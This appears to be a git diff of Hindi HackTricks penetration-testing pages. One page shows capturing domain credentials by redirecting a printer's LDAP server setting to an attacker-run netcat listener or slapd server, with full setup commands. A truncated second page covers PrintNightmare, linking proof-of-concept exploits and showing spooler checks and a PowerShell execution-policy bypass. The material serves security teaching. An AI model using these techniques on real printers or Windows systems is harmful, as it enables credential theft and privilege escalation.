|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का पालन करें।**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** PRs के माध्यम से [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
इंटरनेट पर कई ब्लॉग हैं जो **LDAP के साथ कॉन्फ़िगर किए गए प्रिंटर्स को डिफ़ॉल्ट/कमजोर** लॉगऑन क्रेडेंशियल्स के साथ छोड़ने के खतरों को उजागर करते हैं।\
|
||||
यह इसलिए है क्योंकि एक हमलावर **प्रिंटर को एक रूज LDAP सर्वर के खिलाफ प्रमाणित करने के लिए चालाकी कर सकता है** (आमतौर पर `nc -vv -l -p 444` पर्याप्त होता है) और प्रिंटर **क्रेडेंशियल्स को स्पष्ट-पाठ में कैप्चर** कर सकता है।
|
||||
इंटरनेट में कई ब्लॉग हैं जो **प्रिंटर को LDAP के साथ डिफ़ॉल्ट/कमजोर लॉगऑन क्रेडेंशियल्स के साथ छोड़ने के खतरों को हाइलाइट** करते हैं।\
|
||||
इसका कारण यह है कि एक हमलाविता **प्रिंटर को धोखा देकर एक रूग LDAP सर्वर के खिलाफ प्रमाणीकरण करा सकता है** (सामान्यत: `nc -vv -l -p 444` पर्याप्त होता है) और प्रिंटर **क्रेडेंशियल्स को स्पष्ट-पाठ पर पकड़ सकता है**।
|
||||
|
||||
इसके अलावा, कई प्रिंटर्स में **उपयोगकर्ता नामों के साथ लॉग्स** होते हैं या वे डोमेन कंट्रोलर से **सभी उपयोगकर्ता नामों को डाउनलोड** भी कर सकते हैं।
|
||||
इसके अलावा, कई प्रिंटर में **उपयोगकर्ता नामों के लॉग** हो सकते हैं या वास्तव में **डोमेन कंट्रोलर से सभी उपयोगकर्ता नामों को डाउनलोड** कर सकते हैं।
|
||||
|
||||
यह सभी **संवेदनशील जानकारी** और सामान्य **सुरक्षा की कमी** प्रिंटर्स को हमलावरों के लिए बहुत दिलचस्प बनाती है।
|
||||
यह सभी **संवेदनशील जानकारी** और सामान्य **सुरक्षा की कमी** प्रिंटर को हमलावरों के लिए बहुत रोचक बनाती है।
|
||||
|
||||
इस विषय पर कुछ ब्लॉग:
|
||||
|
||||
* [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/)
|
||||
* [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
|
||||
**निम्नलिखित जानकारी** [**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/) **से कॉपी की गई थी**
|
||||
## प्रिंटर कॉन्फ़िगरेशन
|
||||
- **स्थान**: LDAP सर्वर सूची यहाँ पाई जाती है: `नेटवर्क > LDAP सेटिंग > LDAP सेटिंग सेट करना।`
|
||||
- **व्यवहार**: इंटरफेस बिना पुनः प्रमाणीकरण के LDAP सर्वर में परिवर्तन करने की अनुमति देता है, जिससे उपयोगकर्ता सुविधा का लक्ष्य होता है, लेकिन सुरक्षा के जोखिम उठाता है।
|
||||
- **शोषण**: शोषण में LDAP सर्वर पता एक नियंत्रित मशीन पर पुनर्निर्देशित करने और "परीक्षण कनेक्शन" सुविधा का उपयोग करके क्रेडेंशियल्स को पकड़ने का उपयोग करता है।
|
||||
|
||||
# LDAP सेटिंग्स
|
||||
## क्रेडेंशियल्स को पकड़ना
|
||||
|
||||
Konica Minolta प्रिंटर्स पर एक LDAP सर्वर को कॉन्फ़िगर करना संभव है, साथ ही क्रेडेंशियल्स के साथ। इन उपकरणों पर फर्मवेयर के पहले संस्करणों में मैंने सुना है कि पेज के html स्रोत को पढ़कर साधारणतः क्रेडेंशियल्स को पुनः प्राप्त करना संभव है। अब, हालांकि क्रेडेंशियल्स इंटरफ़ेस में वापस नहीं आते हैं इसलिए हमें थोड़ी अधिक मेहनत करनी पड़ती है।
|
||||
|
||||
LDAP सर्वर्स की सूची यहाँ है: Network > LDAP Setting > Setting Up LDAP
|
||||
|
||||
इंटरफ़ेस LDAP सर्वर को बिना क्रेडेंशियल्स को फिर से दर्ज किए बदलने की अनुमति देता है। मुझे लगता है कि यह एक सरल उपयोगकर्ता अनुभव के लिए है, लेकिन यह हमलावर को प्रिंटर के मास्टर से डोमेन पर एक पकड़ बनाने का अवसर देता है।
|
||||
|
||||
हम LDAP सर्वर पते की सेटिंग को हमारे नियंत्रण वाली मशीन में बदल सकते हैं, और "Test Connection" कार्यक्षमता की सहायता से एक कनेक्शन ट्रिगर कर सकते हैं।
|
||||
|
||||
# सामान सुनने के लिए
|
||||
|
||||
## netcat
|
||||
|
||||
यदि आपको मुझसे बेहतर किस्मत है, तो आप एक साधारण netcat लिसनर के साथ काम चला सकते हैं:
|
||||
```
|
||||
### विधि 1: Netcat लिस्टनर
|
||||
एक सरल नेटकैट लिस्टनर पर्याप्त हो सकता है:
|
||||
```bash
|
||||
sudo nc -k -v -l -p 386
|
||||
```
|
||||
मुझे [@\_castleinthesky](https://twitter.com/\_castleinthesky) द्वारा आश्वासन दिया गया है कि यह अधिकतर समय काम करता है, हालांकि मुझे अभी तक इतनी आसानी से छूट नहीं मिली है।
|
||||
### तथ्य
|
||||
|
||||
## Slapd
|
||||
हालांकि, इस विधि की सफलता भिन्न होती है।
|
||||
|
||||
मैंने पाया है कि पूर्ण LDAP सर्वर की आवश्यकता होती है क्योंकि प्रिंटर पहले एक नल बाइंड का प्रयास करता है और फिर उपलब्ध जानकारी की क्वेरी करता है, केवल यदि ये ऑपरेशन सफल होते हैं तो यह क्रेडेंशियल्स के साथ बाइंड करने की प्रक्रिया को आगे बढ़ाता है।
|
||||
### विधि 2: स्लैपडी के साथ पूर्ण LDAP सर्वर
|
||||
एक और विश्वसनीय दृष्टिकोण में, एक पूर्ण LDAP सर्वर सेटअप करना शामिल है क्योंकि प्रिंटर क्रेडेंशियल बाइंडिंग की कोशिश से पहले एक नल बाइंड कार्य करता है।
|
||||
|
||||
मैंने एक सरल ldap सर्वर की खोज की जो आवश्यकताओं को पूरा करता है, हालांकि विकल्प सीमित प्रतीत होते थे। अंत में मैंने एक ओपन ldap सर्वर सेटअप करने का निर्णय लिया और slapd डीबग सर्वर सेवा का उपयोग करके कनेक्शन स्वीकार करने और प्रिंटर से संदेशों को प्रिंट करने के लिए किया। (यदि आपको एक आसान विकल्प के बारे में पता है, तो मैं इसके बारे में सुनने के लिए खुश होऊंगा)
|
||||
|
||||
### स्थापना
|
||||
|
||||
(नोट: यह अनुभाग यहां दी गई गाइड का हल्के ढंग से संशोधित संस्करण है [https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap](https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap) )
|
||||
|
||||
रूट टर्मिनल से:
|
||||
|
||||
**OpenLDAP स्थापित करें,**
|
||||
1. **LDAP सर्वर सेटअप**: गाइड [इस स्रोत](https://www.server-world.info/en/note?os=Fedora_26&p=openldap) के चरणों का पालन करता है।
|
||||
2. **मुख्य कदम**:
|
||||
- OpenLDAP इंस्टॉल करें।
|
||||
- व्यवस्थापक पासवर्ड कॉन्फ़िगर करें।
|
||||
- मौलिक स्कीमा आयात करें।
|
||||
- LDAP डीबी पर डोमेन नाम सेट करें।
|
||||
- LDAP TLS कॉन्फ़िगर करें।
|
||||
3. **LDAP सेवा क्रियान्वयन**: एक बार सेटअप कर लिया जाने पर, LDAP सेवा को निम्नलिखित का उपयोग करके चलाया जा सकता है:
|
||||
```
|
||||
#> dnf install -y install openldap-servers openldap-clients
|
||||
|
||||
#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG
|
||||
|
||||
#> chown ldap. /var/lib/ldap/DB_CONFIG
|
||||
```
|
||||
**OpenLDAP एडमिन पासवर्ड सेट करें (आपको इसकी जल्द ही फिर से आवश्यकता होगी)**
|
||||
```
|
||||
#> slappasswd
|
||||
New password:
|
||||
Re-enter new password:
|
||||
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
|
||||
slapd -d 2
|
||||
```
|
||||
|
||||
```
|
||||
#> vim chrootpw.ldif
|
||||
# specify the password generated above for "olcRootPW" section
|
||||
dn: olcDatabase={0}config,cn=config
|
||||
changetype: modify
|
||||
add: olcRootPW
|
||||
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
|
||||
```
|
||||
**अधिक विस्तृत कदमों के लिए, मूल [स्रोत](https://grimhacker.com/2018/03/09/just-a-printer/) का संदर्भ देखें।**
|
||||
|
||||
```
|
||||
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
modifying entry "olcDatabase={0}config,cn=config"
|
||||
```
|
||||
**मूल स्कीमाओं को आयात करें**
|
||||
```
|
||||
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
adding new entry "cn=cosine,cn=schema,cn=config"
|
||||
|
||||
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
adding new entry "cn=nis,cn=schema,cn=config"
|
||||
|
||||
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
adding new entry "cn=inetorgperson,cn=schema,cn=config"
|
||||
```
|
||||
**LDAP DB पर अपना डोमेन नाम सेट करें।**
|
||||
```
|
||||
# generate directory manager's password
|
||||
#> slappasswd
|
||||
New password:
|
||||
Re-enter new password:
|
||||
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
#> vim chdomain.ldif
|
||||
# specify the password generated above for "olcRootPW" section
|
||||
dn: olcDatabase={1}monitor,cn=config
|
||||
changetype: modify
|
||||
replace: olcAccess
|
||||
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
|
||||
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none
|
||||
|
||||
dn: olcDatabase={2}mdb,cn=config
|
||||
changetype: modify
|
||||
replace: olcSuffix
|
||||
olcSuffix: dc=foo,dc=bar
|
||||
|
||||
dn: olcDatabase={2}mdb,cn=config
|
||||
changetype: modify
|
||||
replace: olcRootDN
|
||||
olcRootDN: cn=Manager,dc=foo,dc=bar
|
||||
|
||||
dn: olcDatabase={2}mdb,cn=config
|
||||
changetype: modify
|
||||
add: olcRootPW
|
||||
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
dn: olcDatabase={2}mdb,cn=config
|
||||
changetype: modify
|
||||
add: olcAccess
|
||||
olcAccess: {0}to attrs=userPassword,shadowLastChange by
|
||||
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
|
||||
olcAccess: {1}to dn.base="" by * read
|
||||
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read
|
||||
|
||||
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
modifying entry "olcDatabase={1}monitor,cn=config"
|
||||
|
||||
modifying entry "olcDatabase={2}mdb,cn=config"
|
||||
|
||||
modifying entry "olcDatabase={2}mdb,cn=config"
|
||||
|
||||
modifying entry "olcDatabase={2}mdb,cn=config"
|
||||
|
||||
modifying entry "olcDatabase={2}mdb,cn=config"
|
||||
|
||||
#> vim basedomain.ldif
|
||||
dn: dc=foo,dc=bar
|
||||
objectClass: top
|
||||
objectClass: dcObject
|
||||
objectclass: organization
|
||||
o: Foo Bar
|
||||
dc: DC1
|
||||
|
||||
dn: cn=Manager,dc=foo,dc=bar
|
||||
objectClass: organizationalRole
|
||||
cn: Manager
|
||||
description: Directory Manager
|
||||
|
||||
dn: ou=People,dc=foo,dc=bar
|
||||
objectClass: organizationalUnit
|
||||
ou: People
|
||||
|
||||
dn: ou=Group,dc=foo,dc=bar
|
||||
objectClass: organizationalUnit
|
||||
ou: Group
|
||||
|
||||
#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif
|
||||
Enter LDAP Password: # directory manager's password
|
||||
adding new entry "dc=foo,dc=bar"
|
||||
|
||||
adding new entry "cn=Manager,dc=foo,dc=bar"
|
||||
|
||||
adding new entry "ou=People,dc=foo,dc=bar"
|
||||
|
||||
adding new entry "ou=Group,dc=foo,dc=bar"
|
||||
```
|
||||
**LDAP TLS कॉन्फ़िगर करें**
|
||||
|
||||
**SSL प्रमाणपत्र बनाएं**
|
||||
```
|
||||
#> cd /etc/pki/tls/certs
|
||||
#> make server.key
|
||||
umask 77 ; \
|
||||
/usr/bin/openssl genrsa -aes128 2048 > server.key
|
||||
Generating RSA private key, 2048 bit long modulus
|
||||
...
|
||||
...
|
||||
e is 65537 (0x10001)
|
||||
Enter pass phrase: # set passphrase
|
||||
Verifying - Enter pass phrase: # confirm
|
||||
|
||||
# remove passphrase from private key
|
||||
#> openssl rsa -in server.key -out server.key
|
||||
Enter pass phrase for server.key: # input passphrase
|
||||
writing RSA key
|
||||
|
||||
#> make server.csr
|
||||
umask 77 ; \
|
||||
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
|
||||
You are about to be asked to enter information that will be incorporated
|
||||
into your certificate request.
|
||||
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||
There are quite a few fields but you can leave some blank
|
||||
For some fields there will be a default value,
|
||||
If you enter '.', the field will be left blank.
|
||||
-----
|
||||
Country Name (2 letter code) [XX]: # country
|
||||
State or Province Name (full name) []: # state
|
||||
Locality Name (eg, city) [Default City]: # city
|
||||
Organization Name (eg, company) [Default Company Ltd]: # company
|
||||
Organizational Unit Name (eg, section) []:Foo Bar # department
|
||||
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
|
||||
Email Address []:xxx@foo.bar # admin email
|
||||
Please enter the following 'extra' attributes
|
||||
to be sent with your certificate request
|
||||
A challenge password []: # Enter
|
||||
An optional company name []: # Enter
|
||||
|
||||
#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
|
||||
Signature ok
|
||||
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
|
||||
Getting Private key
|
||||
```
|
||||
**Slapd को SSL/TLS के लिए कॉन्फ़िगर करें**
|
||||
```
|
||||
#> cp /etc/pki/tls/certs/server.key \
|
||||
/etc/pki/tls/certs/server.crt \
|
||||
/etc/pki/tls/certs/ca-bundle.crt \
|
||||
/etc/openldap/certs/
|
||||
|
||||
#> chown ldap. /etc/openldap/certs/server.key \
|
||||
/etc/openldap/certs/server.crt \
|
||||
/etc/openldap/certs/ca-bundle.crt
|
||||
|
||||
#> vim mod_ssl.ldif
|
||||
# create new
|
||||
dn: cn=config
|
||||
changetype: modify
|
||||
add: olcTLSCACertificateFile
|
||||
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
|
||||
-
|
||||
replace: olcTLSCertificateFile
|
||||
olcTLSCertificateFile: /etc/openldap/certs/server.crt
|
||||
-
|
||||
replace: olcTLSCertificateKeyFile
|
||||
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key
|
||||
|
||||
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
modifying entry "cn=config"
|
||||
```
|
||||
**अपनी लोकल फ़ायरवॉल के माध्यम से LDAP की अनुमति दें**
|
||||
```
|
||||
firewall-cmd --add-service={ldap,ldaps}
|
||||
```
|
||||
## परिणाम
|
||||
|
||||
एक बार जब आपने अपनी LDAP सेवा को स्थापित और कॉन्फ़िगर कर लिया, तो आप इसे निम्नलिखित कमांड के साथ चला सकते हैं:
|
||||
|
||||
> ```
|
||||
> slapd -d 2
|
||||
> ```
|
||||
|
||||
नीचे दिया गया स्क्रीनशॉट एक उदाहरण दिखाता है जब हम प्रिंटर पर कनेक्शन टेस्ट चलाते हैं। जैसा कि आप देख सकते हैं, यूजरनेम और पासवर्ड LDAP क्लाइंट से सर्वर तक पास किए जाते हैं।
|
||||
|
||||
![slapd terminal output containing the username "MyUser" and password "MyPassword"](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd\_output.png?resize=474%2C163\&ssl=1)
|
||||
|
||||
# यह कितना बुरा हो सकता है?
|
||||
|
||||
यह बहुत हद तक उन क्रेडेंशियल्स पर निर्भर करता है जो कॉन्फ़िगर किए गए हैं।
|
||||
|
||||
यदि न्यूनतम विशेषाधिकार का सिद्धांत अपनाया जा रहा है, तो आपको केवल एक्टिव डायरेक्टरी के कुछ तत्वों के लिए पढ़ने की एक्सेस मिल सकती है। यह अक्सर अभी भी मूल्यवान होता है क्योंकि आप उस जानकारी का उपयोग और अधिक सटीक हमले तैयार करने के लिए कर सकते हैं।
|
||||
|
||||
आमतौर पर आपको डोमेन यूजर्स समूह में एक खाता मिलने की संभावना होती है जो संवेदनशील जानकारी तक पहुंच प्रदान कर सकता है या अन्य हमलों के लिए प्रारंभिक प्रमाणीकरण बन सकता है।
|
||||
|
||||
या, मेरी तरह, आपको LDAP सर्वर सेटअप करने के लिए पुरस्कार मिल सकता है और आपको चांदी की थाली में डोमेन एडमिन खाता दिया जा सकता है।
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में शामिल हों या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के लिए अपनी हैकिंग ट्रिक्स साझा करें, PRs जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में.
|
||||
|
||||
</details>
|
||||
# संदर्भ
|
||||
* [https://grimhacker.com/2018/03/09/just-a-printer/](https://grimhacker.com/2018/03/09/just-a-printer/)
|
||||
|
|
|
@ -4,103 +4,24 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें**.
|
||||
* **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें**।
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**।
|
||||
|
||||
</details>
|
||||
|
||||
**यह पृष्ठ** [**https://academy.hackthebox.com/module/67/section/627**](https://academy.hackthebox.com/module/67/section/627) **से कॉपी किया गया था**।
|
||||
**2024 में PrintNightmare के बारे में यह शानदार ब्लॉग पोस्ट देखें: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
|
||||
`CVE-2021-1675/CVE-2021-34527 PrintNightmare` एक दोष है [RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22) जिसका उपयोग दूरस्थ प्रिंटिंग और ड्राइवर स्थापना की अनुमति देने के लिए किया जाता है। \
|
||||
इस कार्य का उद्देश्य है **Windows विशेषाधिकार `SeLoadDriverPrivilege` वाले उपयोगकर्ताओं** को एक दूरस्थ प्रिंट स्पूलर पर ड्राइवर जोड़ने की क्षमता प्रदान करना। यह अधिकांश उपयोगकर्ताओं के लिए आरंभिक निर्मित व्यवस्थापक समूह और प्रिंट ऑपरेटर्स में सुरक्षित रखा जाता है जो एक उपयोगकर्ता के मशीन पर दूरस्थ रूप से प्रिंटर ड्राइवर स्थापित करने की वास्तविक आवश्यकता हो सकती है।
|
||||
|
||||
इस दोष ने **किसी भी प्रमाणित उपयोगकर्ता को प्रिंट ड्राइवर जोड़ने** की अनुमति दी बिना उपरोक्त विशेषाधिकार को होने की अनुमति दी, जिससे किसी भी प्रभावित सिस्टम पर हमलावर दूरस्थ **कोड निष्पादन के रूप में पूर्ण दूरस्थ** प्राधिकरण हो सकता है। यह दोष **Windows के हर समर्थित संस्करण को प्रभावित करता है**, और क्योंकि **प्रिंट स्पूलर** डिफ़ॉल्ट रूप से **डोमेन नियंत्रकों**, Windows 7 और 10 पर चलता है, और अक्सर Windows सर्वरों पर सक्षम किया जाता है, इसलिए यह एक विशाल हमला सतह प्रस्तुत करता है, इसलिए "नाइटमेयर"।
|
||||
|
||||
माइक्रोसॉफ्ट ने पहले एक पैच जारी किया था जो समस्या को ठीक नहीं करता था (और प्राथमिक मार्गनिर्देशन स्पूलर सेवा को अक्षम करने का था, जो कई संगठनों के लिए व्यावहारिक नहीं है) लेकिन जुलाई 2021 में एक दूसरा [पैच](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) जारी किया गया और मार्गनिर्देशन दिया गया कि निश्चित रजिस्ट्री सेटिंग्स `0` पर सेट हैं या परिभाषित नहीं हैं। 
|
||||
|
||||
इस दुर्भाग्यपूर्णता को सार्वजनिक बनाए जाने के बाद, PoC उत्पन्न तत्व बहुत जल्द जारी किए गए। **** [**यह**](https://github.com/cube0x0/CVE-2021-1675) **संस्करण** [@cube0x0](https://twitter.com/cube0x0) द्वारा उपयोग किया जा सकता है **एक दुष्ट DLL को दूरस्थ या स्थानीय रूप से निष्पादित** करने के लिए Impacket के संशोधित संस्करण का उपयोग करता है। रेपो में एक **C# अमलीकरण** भी है।\
|
||||
यह **** [**PowerShell अमलीकरण**](https://github.com/calebstewart/CVE-2021-1675) **** त्वरित स्थानीय प्रिविलेज उन्नयन के लिए उपयोग किया जा सकता है। **डिफ़ॉल्ट** रूप से, इस स्क्रिप्ट में **एक नया स्थानीय व्यवस्थापक उपयोगकर्ता जोड़ा जाता है**, लेकिन यदि स्थानीय व्यवस्थापक उपयोगकर्ता स्कोप में नहीं है, तो हम एक कस्टम DLL प्रदान कर सकते हैं जिससे हमें एक रिवर्स शेल या समान प्राप्त हो सकता है।
|
||||
|
||||
### **स्पूलर सेवा की जांच करना**
|
||||
|
||||
हम निम्नलिखित कमांड के साथ त्वरित जांच क
|
||||
```
|
||||
PS C:\htb> ls \\localhost\pipe\spoolss
|
||||
|
||||
|
||||
Directory: \\localhost\pipe
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
spoolss
|
||||
```
|
||||
### **PrintNightmare PowerShell PoC के साथ स्थानीय व्यवस्थापक जोड़ना**
|
||||
|
||||
पहले लक्ष्य होस्ट पर [बाईपास](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/) करें निष्पादन नीति:
|
||||
```
|
||||
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
|
||||
|
||||
Execution Policy Change
|
||||
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
|
||||
you to the security risks described in the about_Execution_Policies help topic at
|
||||
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
|
||||
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
|
||||
```
|
||||
